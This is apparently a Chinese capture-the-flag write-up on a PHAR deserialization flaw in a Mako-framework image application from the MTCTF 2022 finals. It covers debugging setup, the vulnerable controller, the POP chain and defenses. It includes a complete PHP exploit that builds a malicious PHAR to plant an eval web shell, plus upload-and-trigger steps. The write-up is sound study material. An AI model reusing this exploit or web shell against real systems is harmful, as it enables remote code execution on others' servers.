MTCTF2022决赛-Mako ImageMagick(基于wsl2+phpstorm+xdebug调试分析)
字数 1167 2025-08-06 18:07:44
MTCTF2022决赛-Mako ImageMagick漏洞分析与调试指南
0x01 漏洞背景分析
本漏洞是2022年美团CTF决赛中的一个Mako框架反序列化漏洞,涉及ImageMagick组件。通过WSL2+PHPStorm+XDebug环境进行调试分析。
0x02 漏洞代码分析
控制器源码分析
namespace app\controllers;
use mako\http\routing\Controller;
use mako\view\ViewFactory;
use mako\pixl\Image;
use mako\pixl\processors\ImageMagick;
class ImagesController extends Controller
{
// 首页显示上传的图片
public function home(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileNames = array_diff(scandir('.'), array('.', '..'));
$images = [];
foreach($fileNames as $index => $fileName) {
$images[$fileName] = 'data:image/' . pathinfo($fileName, PATHINFO_EXTENSION)
. ';base64,' . base64_encode(file_get_contents($fileName));
}
$this->view->assign('images', $images);
return $view->render('home');
}
// 文件上传功能
public function upload() {
chdir('/var/www/mako/uploads');
$imageFile = $this->request->getFiles()->get('image');
$fileName = $imageFile->getReportedFilename();
$imageFile->moveTo($fileName);
$this->response->getHeaders()->add('Location', '/');
}
// 图片编辑页面
public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}
// 图片编辑处理
public function editPost() {
chdir('/var/www/mako/uploads');
$post = $this->request->getPost();
$fileName = $post->get('filename');
$degrees = $post->get('degrees');
$image = new Image($fileName, new ImageMagick());
$image->rotate($degrees);
$image->save();
$this->response->getHeaders()->add('Location', '/');
}
}
关键漏洞点
editGet方法中new Image($fileName, new ImageMagick())会检查文件是否存在,存在PHAR反序列化入口- 文件上传功能未做严格过滤,可上传恶意PHAR文件
0x03 环境搭建指南
WSL2环境配置
-
安装WSL2:
# 官方Ubuntu 20.04安装包 wsl --install -d Ubuntu-20.04 -
检测网络连接:
# 宿主机查看WSL IP ipconfig # WSL中ping宿主机 ping <宿主机IP>
PHP环境安装
sudo apt install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt update
sudo apt install php7.4 php7.4-fpm php7.4-common php7.4-mysql php7.4-xml php7.4-curl php7.4-gd php7.4-imagick php7.4-cli php7.4-dev php7.4-imap php7.4-mbstring php7.4-opcache php7.4-soap php7.4-zip php7.4-xdebug
Nginx配置
-
安装Nginx:
sudo apt install nginx -
配置文件位置:
/etc/nginx/sites-enabled/default -
示例配置:
server { listen 80; root /var/www/mako/public; index index.php; server_name mako; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } }
XDebug配置
-
配置文件位置:
/etc/php/7.4/cli/conf.d/20-xdebug.ini -
配置内容:
zend_extension=xdebug.so xdebug.mode = debug xdebug.client_host = "192.168.48.1" xdebug.client_port = 9003 xdebug.idekey="PHPSTORM" -
重启服务:
service php7.4-fpm restart service nginx restart
0x04 PHPStorm调试配置
- 设置PHP CLI解释器路径
- 配置XDebug监听端口为9003
- 设置DBGP Proxy:
- IDE Key: PHPSTORM
- Host: WSL IP
- Port: 9003
- 添加Servers配置:
- 映射WSL项目路径
- Host: localhost
- 创建Run Configuration
- 浏览器安装Xdebug Helper扩展
0x05 漏洞利用分析
反序列化链分析
完整利用链:
Session::__destruct ->
Session::commit ->
File::write ->
File::isWritable ->
File::sessionFile ->
FileSystem::put ->
file_put_contents
关键类分析
-
Session类:
__destruct方法触发commitcommit方法调用write- 可控参数:
autoCommit,destroyed,sessionId,sessionData
-
File类:
- 实现
StoreInterface接口 write方法最终调用file_put_contents- 可控参数:
fileSystem,sessionPath
- 实现
EXP编写
<?php
namespace mako\session\stores{
interface StoreInterface{}
}
namespace mako\file{
class FileSystem{}
}
namespace mako\session\stores{
use mako\file\FileSystem;
class File implements StoreInterface{
protected $fileSystem;
protected $sessionPath="/var/www/mako/public";
public function __construct(){
$this->fileSystem=new FileSystem();
}
}
}
namespace mako\session{
use mako\session\stores\File;
class Session{
protected $autoCommit=true;
protected $destroyed = false;
protected $store;
protected $sessionId="shell.php";
protected $sessionData = ["v1nd"=>'<?php eval($_POST[1]);?>'];
public function __construct(){
$this->store=new File();
}
}
}
namespace {
use mako\session\Session;
$object = new Session();
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test');
$phar->setMetadata($object);
$phar->stopBuffering();
}
利用步骤
-
生成PHAR文件:
php --define phar.readonly=0 exp.php -
上传PHAR文件
-
访问
editGet路由触发反序列化:http://target/edit?filename=phar://uploads/exp.phar
0x06 防御措施
- 禁用PHAR反序列化功能
- 严格过滤上传文件类型
- 更新框架到最新版本
- 使用
finfo函数验证上传文件类型 - 限制上传文件目录的执行权限
0x07 总结
本漏洞利用Mako框架中Image类的文件操作功能,通过PHAR反序列化触发文件写入操作,最终实现任意代码执行。关键点在于:
- 找到
file_exists等触发点 - 构造完整的POP链
- 生成恶意PHAR文件
- 通过文件上传+PHAR协议触发漏洞
调试过程中,WSL2+PHPStorm+XDebug环境提供了便利的调试手段,可以深入分析漏洞触发过程。